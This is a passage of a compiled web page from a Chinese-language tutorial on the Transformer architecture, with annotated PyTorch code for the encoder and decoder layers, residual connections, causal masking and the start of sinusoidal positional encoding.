API\uff0c\u53ef\u4ee5\u901a\u8fc7\u4e0b\u5217\u4ee3\u7801\u76f4\u63a5\u6784\u9020\u5e76\u4f7f\u7528\u4e00\u4e2a\u591a\u5934\u6ce8\u610f\u529b\u5c42\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"multihead_attn = nn.MultiheadAttention(embed_dim , num_heads)\n# \u6784\u9020\u4e00\u4e2a\u591a\u5934\u6ce8\u610f\u529b\u5c42\n# embed_dim :\u8f93\u51fa\u8bcd\u5411\u91cf\u957f\u5ea6\uff1bnum_heads :\u5934\u6570\n# \u53ef\u9009\u53c2\u6570\uff1a\n# drop_out: \u5728\u91c7\u6837\u5c42\u4e2ddrop_out\u7684\u6982\u7387\uff0c\u9ed8\u8ba4\u4e3a0\uff1bbias\uff1a\u7ebf\u6027\u5c42\u662f\u5426\u8ba1\u7b97\u504f\u7f6e\n# add_bias_kv\uff1a\u662f\u5426\u5c06\u504f\u7f6e\u6dfb\u52a0\u5230 K \u548c V \u4e2d\uff1badd_zero_attn\uff1a\u662f\u5426\u4e3a K \u548c V \u518d\u6dfb\u52a0\u4e00\u4e32\u4e3a0\u7684\u5e8f\u5217\n# kdim\uff1aK \u7684\u603b\u5171feature\u6570\uff1bvdim\uff1aV \u7684\u603b\u5171feature\u6570\uff1bbatch_first\uff1a\u662f\u5426\u5c06\u8f93\u5165\u8c03\u6574\u4e3a(batch,seq,feature)\nattn_output, attn_output_weights = multihead_attn(query, key, value)\n# \u524d\u5411\u8ba1\u7b97\n# \u8f93\u51fa\uff1a\n# attn_output\uff1a\u5f62\u5982(N,L,E)\u7684\u8ba1\u7b97\u7ed3\u679c\uff0cN\u4e3a\u6279\u6b21\u5927\u5c0f\uff0cL\u4e3a\u76ee\u6807\u5e8f\u5217\u957f\u5ea6\uff0cE\u4e3aembed_dim\n# attn_output_weights\uff1a\u6ce8\u610f\u529b\u8ba1\u7b97\u5206\u6570\uff0c\u4ec5\u5f53need_weights=True\u65f6\u8fd4\u56de\n# query\u3001key\u3001value \u5206\u522b\u662f\u6ce8\u610f\u529b\u8ba1\u7b97\u7684\u4e09\u4e2a\u8f93\u5165\u77e9\u9635\n"})}),"\n",(0,s.jsx)(e.h2,{id:"encoder",children:"Encoder"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_Encoder.png",alt:"image-20230129182417098",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5982\u56fe\u6240\u793a\uff0cEncoder \u7531 N \u4e2a\uff08\u8bba\u6587\u4e2d\u53d6 N = 6\uff09EncoderLayer \u7ec4\u6210\uff0c\u6bcf\u4e2a EncoderLayer \u53c8\u7531\u4e24\u4e2a sublayer \uff08\u5b50\u5c42\uff09\u7ec4\u6210\u3002\u5728\u4e0b\u6587\u7684\u4ee3\u7801\u4e2d\uff0c\u6bcf\u4e00\u4e2a layer \u662f\u4e00\u4e2a EncoderLayer\uff0c\u4ee3\u7801\u5728\u6700\u540e\u53c8\u989d\u5916\u52a0\u5165\u4e86\u4e00\u4e2a\u6807\u51c6\u5316\u5c42\u8fdb\u884c\u6807\u51c6\u5316\u64cd\u4f5c\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class Encoder(nn.Module):\n "Core encoder is a stack of N layers"\n # \u7f16\u7801\u5668\u5176\u5b9e\u662f\u7531N\u5c42\u81ea\u6ce8\u610f\u529b\u5c42+\u6807\u51c6\u5316\u5c42\u6784\u6210\u7684\n\n def __init__(self, layer, N):\n super(Encoder, self).__init__()\n self.layers = clones(layer, N)\n # clones \u51fd\u6570\u4e3a\u4f5c\u8005\u5b9a\u4e49\u7684\uff0c\u5b9e\u73b0\u5c06 layer \u5c42\u590d\u5236 N \u6b21\u7684\u529f\u80fd\n self.norm = LayerNorm(layer.size)\n # \u6807\u51c6\u5316\u5c42\uff0c\u53c2\u6570\u4e3a\u7279\u5f81\u6570\n\n def forward(self, x, mask):\n "Pass the input (and mask) through each layer in turn."\n for layer in self.layers:\n x = layer(x, mask)\n return self.norm(x)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b1. \u7b2c\u4e00\u90e8\u5206\u4e3a\u4e00\u4e2a\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u3002Transformer \u7684\u6700\u5927\u7279\u70b9\u5373\u662f\u629b\u5f03\u4e86\u4f20\u7edf\u7684 CNN\u3001RNN \u67b6\u6784\uff0c\u5b8c\u5168\u4f7f\u7528 attention \u673a\u5236\u642d\u5efa\u3002\u5728 EncoderLayer \u4e2d\uff0c\u4f7f\u7528\u4e86 Multi-Head self-attention\uff08\u591a\u5934\u81ea\u6ce8\u610f\u529b\uff09\u5c42\uff0c\u7f16\u7801\u8f93\u5165\u8bed\u6599\u7684\u76f8\u5173\u5173\u7cfb\u3002\u901a\u8fc7 attention \u673a\u5236\uff0c\u5b9e\u73b0\u4e86\u6a21\u578b\u7684\u5e76\u884c\u5316\u4e0e\u957f\u671f\u4f9d\u8d56\u5173\u7cfb\u7684\u62df\u5408\u3002\u5173\u4e8e Multi-Head self-attention \u5c06\u5728\u4e4b\u540e\u7684\u677f\u5757\u8be6\u8ff0\u5176\u7279\u70b9\u4e0e\u5b9e\u73b0\u3002\u5728\u901a\u8fc7\u4e00\u4e2a\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u540e\uff0c\u8f93\u51fa\u7ecf\u8fc7\u6807\u51c6\u5316\u5c42\u8fdb\u5165\u4e0b\u4e00\u4e2a sublayer\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class EncoderLayer(nn.Module):\n "Encoder is made up of self-attn and feed forward (defined below)"\n\n def __init__(self, size, self_attn, feed_forward, dropout):\n super(EncoderLayer, self).__init__()\n self.self_attn = self_attn\n # \u81ea\u6ce8\u610f\u529b\u5c42\n self.feed_forward = feed_forward\n # \u524d\u9988\u795e\u7ecf\u7f51\u7edc\u5c42\n self.sublayer = clones(SublayerConnection(size, dropout), 2)\n # \u6b8b\u5dee\u8fde\u63a5\u5c42\uff0c\u5c06\u5728\u4e4b\u540e\u5b9a\u4e49\n # \u4e24\u5c42\u5206\u522b\u7528\u4e8e\u8fde\u63a5\u81ea\u6ce8\u610f\u529b\u5c42\u548c\u524d\u9988\u795e\u7ecf\u7f51\u7edc\u5c42\n self.size = size\n\n def forward(self, x, mask):\n "Follow Figure 1 (left) for connections."\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n # \u4f20\u5165\u81ea\u6ce8\u610f\u529b\u5c42\u4f5c\u4e3asublayer,\u8f93\u51fa\u81ea\u6ce8\u610f\u529b\u5c42\u8ba1\u7b97\u5e76\u8fdb\u884c\u6b8b\u5dee\u8fde\u63a5\u540e\u7684\u7ed3\u679c\n return self.sublayer[1](x, self.feed_forward)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b2. \u7b2c\u4e8c\u90e8\u5206\u4e3a\u4e00\u4e2a\u5168\u8fde\u63a5\u795e\u7ecf\u7f51\u7edc\uff0c\u8bba\u6587\u4e2d\u79f0\u4e3a\u201cposition-wise fully connected feed-forward network\u201d\uff0c\u5b9e\u9645\u662f\u4e00\u4e2a\u7ebf\u6027\u5c42+\u6fc0\u6d3b\u51fd\u6570+ dropout + \u7ebf\u6027\u5c42\u7684\u5168\u8fde\u63a5\u7f51\u7edc\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"class PositionwiseFeedForward(nn.Module):\n # \u5373\u67b6\u6784\u56fe\u4e2d\u7684FeedForward\n\n def __init__(self, d_model, d_ff, dropout=0.1):\n super(PositionwiseFeedForward, self).__init__()\n self.w_1 = nn.Linear(d_model, d_ff)\n self.w_2 = nn.Linear(d_ff, d_model)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n return self.w_2(self.dropout(self.w_1(x).relu()))\n # \u5b9e\u5219\u662f\u4e00\u4e2a\u7ebf\u6027\u5c42+\u6fc0\u6d3b\u51fd\u6570+\u91c7\u6837+\u4e00\u4e2a\u7ebf\u6027\u5c42\n"})}),"\n",(0,s.jsx)(e.h2,{id:"decoder",children:"Decoder"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_Decoder.png",alt:"image-20230129183826948",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200bDecoder \u4e0e Encoder \u7684\u7ec4\u6210\u975e\u5e38\u7c7b\u4f3c\uff0c\u540c\u6837\u662f\u7531N\u4e2aDecoderLayer\u7ec4\u6210\uff0cDecoderLayer \u4e0e EncoderLayer \u7684\u533a\u522b\u5728\u4e8e\uff1a"}),"\n",(0,s.jsx)(e.p,{children:"\u200b1. EncoderLayer\u7531\u4e24\u4e2asublayer\u7ec4\u6210\uff0c\u5206\u522b\u662f\u4e00\u4e2a\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u4e0e\u4e00\u4e2a\u5168\u8fde\u63a5\u7f51\u7edc\u5c42\u3002DecoderLayer \u5219\u5728 EncoderLayer \u7684\u4e24\u4e2a sublayer \u7684\u57fa\u7840\u4e0a\u589e\u52a0\u4e86\u4e00\u4e2a\u5e26\u63a9\u7801\u7684\u591a\u5934\u6ce8\u610f\u529b\u5c42\u3002\u5982\u56fe\uff0c\u6700\u4e0b\u65b9\u7684\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u540c EncoderLayer\u7ed3\u6784\u76f8\u540c\uff0c\u4e2d\u95f4\u5219\u662f\u589e\u52a0\u7684\u4e00\u4e2a\u591a\u5934\u6ce8\u610f\u529b\u5c42\uff0c\u5c06\u4f7f\u7528 Encoder \u7684\u8f93\u51fa\u548c\u4e0b\u65b9\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u7684\u8f93\u51fa\u4f5c\u4e3a\u8f93\u5165\u8fdb\u884c\u6ce8\u610f\u529b\u8ba1\u7b97\u3002\u6700\u4e0a\u65b9\u7684\u5168\u8fde\u63a5\u7f51\u7edc\u4e5f\u540c EncoderLayer \u76f8\u540c\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b2. EncoderLayer \u7684\u8f93\u5165\u4ec5\u6765\u81ea\u4e8e\u7f16\u7801\u4e4b\u540e\u7684\u8f93\u5165\u8bed\u6599\uff08\u6216\u4e0a\u4e00\u4e2a EncoderLayer \u7684\u8f93\u51fa\uff09\uff0cDecoderLayer \u7684\u8f93\u5165\u9664\u6765\u81ea\u4e8e\u7f16\u7801\u4e4b\u540e\u7684\u8f93\u51fa\u8bed\u6599\u5916\uff0c\u8fd8\u5305\u62ec Encoder \u7684\u8f93\u51fa\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200bDecoderLayer \u7684\u5b9e\u73b0\u5982\u4e0b\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class DecoderLayer(nn.Module):\n "Decoder is made of self-attn, src-attn, and feed forward (defined below)"\n\n def __init__(self, size, self_attn, src_attn, feed_forward, dropout):\n super(DecoderLayer, self).__init__()\n self.size = size\n self.self_attn = self_attn\n self.src_attn = src_attn\n # \u8bed\u6599\u6ce8\u610f\u529b\uff0c\u5373\u56fe\u4e2dDecoder\u7684\u7b2c\u4e8c\u4e2a\u6ce8\u610f\u529b\u7f51\u7edc\uff0c\u62df\u5408\u7f16\u7801\u5668\u8f93\u51fa\u548c\u4e0a\u4e00\u4e2a\u5b50\u5c42\u8f93\u51fa\u7684\u6ce8\u610f\u529b\n self.feed_forward = feed_forward\n self.sublayer = clones(SublayerConnection(size, dropout), 3)\n # \u56e0\u4e3a\u89e3\u7801\u5668\u6709\u4e09\u4e2a\u5b50\u5c42\uff0c\u6240\u4ee5\u9700\u8981\u4e09\u4e2a\u6b8b\u5dee\u8fde\u63a5\u5c42\n\n def forward(self, x, memory, src_mask, tgt_mask):\n "Follow Figure 1 (right) for connections."\n m = memory\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, tgt_mask))\n x = self.sublayer[1](x, lambda x: self.src_attn(x, m, m, src_mask))\n # \u7531\u6b64\u53ef\u89c1\u89e3\u7801\u5668\u4e2d\u4e24\u4e2a\u6ce8\u610f\u529b\u5b50\u5c42\u7684\u533a\u522b\n # \u7b2c\u4e00\u4e2a\u6ce8\u610f\u529b\u5b50\u5c42\u540c\u7f16\u7801\u5668\u4e2d\u76f8\u540c\uff0c\u662f\u81ea\u6ce8\u610f\u529b\u5c42\uff0c\u4f20\u5165\u7684\u4e09\u4e2a\u53c2\u6570\u5747\u901a\u8fc7\u8f93\u5165\u8bed\u6599x\u5f97\u5230\n # \u7b2c\u4e8c\u4e2a\u6ce8\u610f\u529b\u5b50\u5c42\u4e3a\u6ce8\u610f\u529b\u5c42\uff0c\u4f20\u5165\u7684\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u7531\u8f93\u5165\u8bed\u6599x\u4e0e\u8bb0\u5fc6\uff08\u5373\u7f16\u7801\u5668\u8f93\u51fa\uff09m\u5f97\u5230\n return self.sublayer[2](x, self.feed_forward)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u6ce8\u610f\u6b64\u5904\u4e3a\u4e86\u8ba1\u7b97\u8f93\u51fa\u8bed\u6599\u4e0e\u8f93\u5165\u8bed\u6599\u7684\u6ce8\u610f\u529b\uff0c\u5728\u524d\u5411\u8ba1\u7b97\u65f6\uff0c\u7b2c\u4e8c\u4e2a\u6ce8\u610f\u529b\u5b50\u5c42\u5c06\u4f20\u5165 memory\uff0c\u4e5f\u5c31\u662f Encoder \u7684\u8f93\u51fa\u3002Decoder \u7684\u6574\u4f53\u5b9e\u73b0\u540c Encoder \u7c7b\u4f3c\uff0c\u6b64\u5904\u5c31\u4e0d\u518d\u8d58\u8ff0\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u6b8b\u5dee\u8fde\u63a5",children:"\u6b8b\u5dee\u8fde\u63a5"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4e3a\u4e86\u907f\u514d\u6a21\u578b\u9000\u5316\uff0cTransformer \u91c7\u7528\u4e86\u6b8b\u5dee\u8fde\u63a5\u7684\u601d\u60f3\u6765\u8fde\u63a5\u6bcf\u4e00\u4e2a\u5b50\u5c42\u3002\u6b8b\u5dee\u8fde\u63a5\uff0c\u5373\u4e0b\u4e00\u5c42\u7684\u8f93\u5165\u4e0d\u4ec5\u662f\u4e0a\u4e00\u5c42\u7684\u8f93\u51fa\uff0c\u8fd8\u5305\u62ec\u4e0a\u4e00\u5c42\u7684\u8f93\u5165\u3002\u6b8b\u5dee\u8fde\u63a5\u5141\u8bb8\u6700\u5e95\u5c42\u4fe1\u606f\u76f4\u63a5\u4f20\u5230\u6700\u9ad8\u5c42\uff0c\u8ba9\u9ad8\u5c42\u4e13\u6ce8\u4e8e\u6b8b\u5dee\u7684\u5b66\u4e60\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f8b\u5982\uff0c\u5728 Encoder \u4e2d\uff0c\u5728\u7b2c\u4e00\u4e2a\u5b50\u5c42\uff0c\u8f93\u5165\u8fdb\u5165\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u7684\u540c\u65f6\u4f1a\u76f4\u63a5\u4f20\u9012\u5230\u8be5\u5c42\u7684\u8f93\u51fa\uff0c\u7136\u540e\u8be5\u5c42\u7684\u8f93\u51fa\u4f1a\u4e0e\u539f\u8f93\u5165\u76f8\u52a0\uff0c\u518d\u8fdb\u884c\u6807\u51c6\u5316\u3002\u5728\u7b2c\u4e8c\u4e2a\u5b50\u5c42\u4e5f\u662f\u4e00\u6837\u3002\u5373\uff1a\n$$\n\\rm output = LayerNorm(x + Sublayer(x))\n$$\n\u200bLayerNorm \u4e3a\u8be5\u5c42\u7684\u6807\u51c6\u5316\u64cd\u4f5c\uff0cSublayer \u4e3a\u8be5\u5b50\u5c42\u7684\u64cd\u4f5c\uff08\u591a\u5934\u6ce8\u610f\u529b\u8ba1\u7b97\u6216\u5168\u8fde\u63a5\u8ba1\u7b97\uff09\u3002\u6e90\u7801\u901a\u8fc7\u6784\u9020\u4e00\u4e2a SublayerConnection \u7c7b\u6765\u5b9e\u73b0\u6b8b\u5dee\u8fde\u63a5\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class SublayerConnection(nn.Module):\n """\n A residual connection followed by a layer norm.\n Note for code simplicity the norm is first as opposed to last.\n """\n\n def __init__(self, size, dropout):\n super(SublayerConnection, self).__init__()\n self.norm = LayerNorm(size)\n self.dropout = nn.Dropout(dropout)\n # \u91c7\u6837\u5c42\n\n def forward(self, x, sublayer):\n "Apply residual connection to any sublayer with the same size."\n return x + self.dropout(sublayer(self.norm(x)))\n # \u6b8b\u5dee\u8fde\u63a5\uff0c\u5728\u8be5\u5c42\u5b9e\u73b0\u4e86norm\u548cadd\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u56de\u5230 EncoderLayer \u7684\u5b9a\u4e49\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u4f5c\u8005\u5728\u8be5\u5c42\u5b9e\u73b0\u4e86\u4e24\u4e2a SublayerConnection \u5bf9\u8c61\uff0c\u5206\u522b\u5b9e\u73b0\u81ea\u6ce8\u610f\u529b\u5c42\u5230\u5168\u8fde\u63a5\u5c42\u3001\u5168\u8fde\u63a5\u5c42\u5230\u8f93\u51fa\u7684\u6b8b\u5dee\u8fde\u63a5\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class EncoderLayer(nn.Module):\n "Encoder is made up of self-attn and feed forward (defined below)"\n\n def __init__(self, size, self_attn, feed_forward, dropout):\n super(EncoderLayer, self).__init__()\n self.self_attn = self_attn\n self.feed_forward = feed_forward\n self.sublayer = clones(SublayerConnection(size, dropout), 2)\n # \u6b8b\u5dee\u8fde\u63a5\u5c42\n # \u4e24\u5c42\u5206\u522b\u7528\u4e8e\u8fde\u63a5\u81ea\u6ce8\u610f\u529b\u5c42\u548c\u524d\u9988\u795e\u7ecf\u7f51\u7edc\u5c42\n self.size = size\n\n def forward(self, x, mask):\n "Follow Figure 1 (left) for connections."\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n # \u4f20\u5165\u81ea\u6ce8\u610f\u529b\u5c42\u4f5c\u4e3asublayer,\u8f93\u51fa\u81ea\u6ce8\u610f\u529b\u5c42\u8ba1\u7b97\u5e76\u8fdb\u884c\u6b8b\u5dee\u8fde\u63a5\u540e\u7684\u7ed3\u679c\n return self.sublayer[1](x, self.feed_forward)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200bDecoderLayer \u4e2d\u4e5f\u540c\u6837\u5b9e\u73b0\u4e86\u8be5\u5bf9\u8c61\uff0c\u4e0d\u8fc7\u7531\u4e8e\u6709\u4e09\u4e2a sublayer\uff0c\u6240\u4ee5\u5b9e\u73b0\u4e86\u4e09\u4e2a SublayerConnection \u5bf9\u8c61\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"mask",children:"Mask"}),"\n",(0,s.jsx)(e.p,{children:"\u200bTransformer \u662f\u4e00\u4e2a\u81ea\u56de\u5f52\u6a21\u578b\uff0c\u7c7b\u4f3c\u4e8e\u8bed\u8a00\u6a21\u578b\uff0c\u5176\u5c06\u5229\u7528\u5386\u53f2\u4fe1\u606f\u4f9d\u5e8f\u5bf9\u8f93\u51fa\u8fdb\u884c\u9884\u6d4b\u3002\u4f8b\u5982\uff0c\u5982\u679c\u8bed\u6599\u7684\u53e5\u5bf9\u4e3a\uff1a1. <BOS> \u6211\u7231\u4f60 <EOS>\uff1b2. <BOS> I like you <EOS>\u3002\u5219 Encoder \u83b7\u53d6\u7684\u8f93\u5165\u5c06\u4f1a\u662f\u53e5 1 \u6574\u4f53\uff0c\u5e76\u8f93\u51fa\u53e5 1 \u7684\u7f16\u7801\u4fe1\u606f\uff0c\u4f46 Decoder \u7684\u8f93\u5165\u5e76\u4e0d\u4e00\u5f00\u59cb\u5c31\u662f\u53e5 2 \u6574\u4f53\uff0c\u800c\u662f\u5148\u8f93\u5165\u8d77\u59cb\u7b26<BOS>\uff0cDecoder \u6839\u636e<BOS> \u4e0e Encoder \u7684\u8f93\u51fa\u9884\u6d4b I\uff0c\u518d\u8f93\u5165<BOS> I\uff0cDecoder \u6839\u636e\u8f93\u5165\u548c Encoder \u7684\u8f93\u51fa\u9884\u6d4b like\u3002\u56e0\u6b64\uff0c\u81ea\u56de\u5f52\u6a21\u578b\u9700\u8981\u5bf9\u8f93\u5165\u8fdb\u884c mask\uff08\u906e\u853d\uff09\uff0c\u4ee5\u4fdd\u8bc1\u6a21\u578b\u4e0d\u4f1a\u4f7f\u7528\u672a\u6765\u4fe1\u606f\u9884\u6d4b\u5f53\u4e0b\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u5173\u4e8e\u81ea\u56de\u5f52\u6a21\u578b\u4e0e\u81ea\u7f16\u7801\u6a21\u578b\u7684\u7ec6\u8282\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u4e0b\u6765\u67e5\u9605\u66f4\u591a\u8d44\u6599\uff0c\u5728\u6b64\u63d0\u4f9b\u90e8\u5206\u94fe\u63a5\u4f9b\u8bfb\u8005\u53c2\u8003\u3002\u535a\u5ba2\uff1a",(0,s.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/163455527",children:"\u81ea\u56de\u5f52\u8bed\u8a00\u6a21\u578b VS \u81ea\u7f16\u7801\u8bed\u8a00\u6a21\u578b"}),"\u3001",(0,s.jsx)(e.a,{href:"https://www.cnblogs.com/sandwichnlp/p/11947627.html#%E9%A2%84%E8%AE%AD%E7%BB%83%E4%BB%BB%E5%8A%A1%E7%AE%80%E4%BB%8B",children:"\u9884\u8bad\u7ec3\u8bed\u8a00\u6a21\u578b\u6574\u7406"}),"\uff1b\u8bba\u6587\uff1a",(0,s.jsx)(e.a,{href:"http://jcip.cipsc.org.cn/CN/abstract/abstract3187.shtml",children:"\u57fa\u4e8e\u8bed\u8a00\u6a21\u578b\u7684\u9884\u8bad\u7ec3\u6280\u672f\u7814\u7a76\u7efc\u8ff0"}),"\u7b49\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u56e0\u6b64\uff0c\u5728 Transformer \u4e2d\uff0c\u6211\u4eec\u9700\u8981\u5efa\u7acb\u4e00\u4e2a mask \u51fd\u6570\uff0c\u53ef\u4ee5\u6839\u636e\u5f53\u4e0b\u9884\u6d4b\u7684\u65f6\u95f4\u9636\u6bb5\u5bf9\u8f93\u5165\u8bed\u6599\u8fdb\u884c mask\uff0c\u88ab mask \u7684\u4fe1\u606f\u5c31\u4e0d\u4f1a\u88ab\u6a21\u578b\u5f97\u77e5\uff0c\u4ece\u800c\u4fdd\u8bc1\u4e86\u6a21\u578b\u53ea\u4f7f\u7528\u5386\u53f2\u4fe1\u606f\u8fdb\u884c\u9884\u6d4b\u3002mask \u7684\u5b9e\u73b0\u65b9\u6cd5\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"def subsequent_mask(size):\n \"Mask out subsequent positions.\"\n attn_shape = (1, size, size)\n # \u6ce8\u610f\u529b\u8bed\u6599\u7684\u5f62\u72b6\n subsequent_mask = torch.triu(torch.ones(attn_shape), diagonal=1).type(\n torch.uint8\n )\n # triu\u8fd4\u56de\u4e00\u4e2a\u4e0a\u4e09\u89d2\u77e9\u9635\uff0cdiagonal=1\u63a7\u5236\u4e0d\u4fdd\u7559\u4e3b\u5bf9\u89d2\u7ebf\n '''\n \u4e00\u4e2a\u4f8b\u5b50\uff1a\n a = [[1,2,3],\n [4,5,6],\n [7,8,9]\n ]\n triu(a, diagonal=1)\u8fd4\u56de\uff1a\n [[0,2,3],\n [0,0,6],\n [0,0,0]]\n \u53ef\u89c1\u901a\u8fc7\u751f\u6210\u8fd9\u6837\u4e00\u4e2a\u4e0a\u4e09\u89d2\u77e9\u9635\uff0c\u518d\u53d6\u5176\u4e2d\u4e3a0\u7684\u4f4d\u7f6e\uff0c\u53ef\u4ee5\u5b9e\u73b0\u6211\u4eec\u6240\u9700\u7684\u672a\u6765\u4fe1\u606f\u906e\u853d\n '''\n return subsequent_mask == 0\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u4f4d\u7f6e\u7f16\u7801",children:"\u4f4d\u7f6e\u7f16\u7801"}),"\n",(0,s.jsx)(e.p,{children:"\u200bAttention \u673a\u5236\u53ef\u4ee5\u5b9e\u73b0\u826f\u597d\u7684\u5e76\u884c\u8ba1\u7b97\uff0c\u4f46\u540c\u65f6\uff0c\u5176\u6ce8\u610f\u529b\u8ba1\u7b97\u7684\u65b9\u5f0f\u4e5f\u5bfc\u81f4\u5e8f\u5217\u4e2d\u76f8\u5bf9\u4f4d\u7f6e\u7684\u4e22\u5931\u3002\u5728 RNN\u3001LSTM \u4e2d\uff0c\u8f93\u5165\u5e8f\u5217\u4f1a\u6cbf\u7740\u8bed\u53e5\u672c\u8eab\u7684\u987a\u5e8f\u88ab\u4f9d\u6b21\u9012\u5f52\u5904\u7406\uff0c\u56e0\u6b64\u8f93\u5165\u5e8f\u5217\u7684\u987a\u5e8f\u63d0\u4f9b\u4e86\u6781\u5176\u91cd\u8981\u7684\u4fe1\u606f\uff0c\u8fd9\u4e5f\u548c\u81ea\u7136\u8bed\u8a00\u7684\u672c\u8eab\u7279\u6027\u975e\u5e38\u543b\u5408\u3002\u4f46\u4ece\u4e0a\u6587\u5bf9 Attention \u673a\u5236\u7684\u5206\u6790\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u5728 Attention \u673a\u5236\u7684\u8ba1\u7b97\u8fc7\u7a0b\u4e2d\uff0c\u5bf9\u4e8e\u5e8f\u5217\u4e2d\u7684\u6bcf\u4e00\u4e2a token\uff0c\u5176\u4ed6\u5404\u4e2a\u4f4d\u7f6e\u5bf9\u5176\u6765\u8bf4\u90fd\u662f\u5e73\u7b49\u7684\uff0c\u5373\u201c\u6211\u559c\u6b22\u4f60\u201d\u548c\u201c\u4f60\u559c\u6b22\u6211\u201d\u5728 Attention \u673a\u5236\u770b\u6765\u662f\u5b8c\u5168\u76f8\u540c\u7684\uff0c\u4f46\u65e0\u7591\u8fd9\u662f Attention \u673a\u5236\u5b58\u5728\u7684\u4e00\u4e2a\u5de8\u5927\u95ee\u9898\u3002\u56e0\u6b64\uff0c\u4e3a\u4f7f\u7528\u5e8f\u5217\u987a\u5e8f\u4fe1\u606f\uff0c\u4fdd\u7559\u5e8f\u5217\u4e2d\u7684\u76f8\u5bf9\u4f4d\u7f6e\u4fe1\u606f\uff0cTransformer \u91c7\u7528\u4e86\u4f4d\u7f6e\u7f16\u7801\u673a\u5236\uff0c\u8be5\u673a\u5236\u4e5f\u5728\u4e4b\u540e\u88ab\u591a\u79cd\u6a21\u578b\u6cbf\u7528\u3002"}),"\n",(0,s.jsx)(e.p,{children:'\u200b\u4f4d\u7f6e\u7f16\u7801\uff0c\u5373\u6839\u636e\u5e8f\u5217\u4e2d token \u7684\u76f8\u5bf9\u4f4d\u7f6e\u5bf9\u5176\u8fdb\u884c\u7f16\u7801\uff0c\u518d\u5c06\u4f4d\u7f6e\u7f16\u7801\u52a0\u5165\u8bcd\u5411\u91cf\u7f16\u7801\u4e2d\u3002\u4f4d\u7f6e\u7f16\u7801\u7684\u65b9\u5f0f\u6709\u5f88\u591a\uff0cTransformer \u4f7f\u7528\u4e86\u6b63\u4f59\u5f26\u51fd\u6570\u6765\u8fdb\u884c\u4f4d\u7f6e\u7f16\u7801\uff0c\u5176\u7f16\u7801\u65b9\u5f0f\u4e3a\uff1a\n$$\nPE(pos, 2i) = sin(pos/10000^{2i/d_{model}})\\\nPE(pos, 2i+1) = cos(pos/10000^{2i/d_{model}})\n$$\n\u200b\u4e0a\u5f0f\u4e2d\uff0cpos \u4e3a token \u5728\u53e5\u5b50\u4e2d\u7684\u4f4d\u7f6e\uff0c2i \u548c 2i+1 \u5219\u662f\u6307\u793a\u4e86 token \u662f\u5947\u6570\u4f4d\u7f6e\u8fd8\u662f\u5076\u6570\u4f4d\u7f6e\uff0c\u4ece\u4e0a\u5f0f\u4e2d\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\u5bf9\u4e8e\u5947\u6570\u4f4d\u7f6e\u7684 token \u548c\u5076\u6570\u4f4d\u7f6e\u7684 token\uff0cTransformer \u91c7\u7528\u4e86\u4e0d\u540c\u7684\u51fd\u6570\u8fdb\u884c\u7f16\u7801\u3002\u6211\u4eec\u4ee5\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u6765\u8bf4\u660e\u4f4d\u7f6e\u7f16\u7801\u7684\u8ba1\u7b97\u8fc7\u7a0b\uff1a\u5047\u5982\u6211\u4eec\u8f93\u5165\u7684\u662f\u4e00\u4e2a\u957f\u5ea6\u4e3a 4 \u7684\u53e5\u5b50"I like to code"\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u4e0b\u9762\u7684\u8bcd\u5411\u91cf\u77e9\u9635$\\rm x$\uff0c\u5176\u4e2d\u6bcf\u4e00\u884c\u4ee3\u8868\u7684\u5c31\u662f\u4e00\u4e2a\u8bcd\u5411\u91cf\uff0c$\\rm 